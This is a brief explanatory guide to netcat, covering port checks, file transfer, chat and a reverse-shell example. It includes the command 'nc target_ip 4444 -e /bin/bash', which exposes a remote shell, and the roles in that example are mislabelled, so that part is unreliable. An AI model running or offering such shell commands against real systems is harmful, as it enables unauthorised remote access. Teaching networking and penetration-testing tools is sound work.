Netcat is a command-line utility used for network debugging, testing, and exploration. It allows users to read from and write to network connections using TCP or UDP protocols.

Key Features:

  1. Port Scanning: Can scan for open ports on a target system.
  2. Data Transfer: Facilitates simple data transfer between systems.
  3. Connection Testing: Tests connectivity and simulates client-server communication.
  4. Listening on Ports: Acts as a server by listening on specified ports.
  5. Shell Access: Enables remote command execution by creating reverse or bind shells.
  6. Supports IPv4 and IPv6: Works with modern and legacy IP protocols.

Common Use Cases:

  1. Debugging Network Issues: Check if a specific port is open or accessible. 
    nc -zv example.com 80
  2. File Transfer: Transfer files between systems. Sender: 
    nc -l 1234 < file.txt
    Receiver: 
    nc sender_ip 1234 > file.txt
  3. Creating a Simple Chat: Two users can communicate by connecting to each other using netcat.
  4. Reverse Shell: Useful in penetration testing. Listener: 
    nc -lvp 4444
    Attacker: 
    nc target_ip 4444 -e /bin/bash

Netcat is a great tool for network administrators and security professionals due to its simplicity and versatility.

Build your own netcat is available with a project breakdown on Coding Challenges.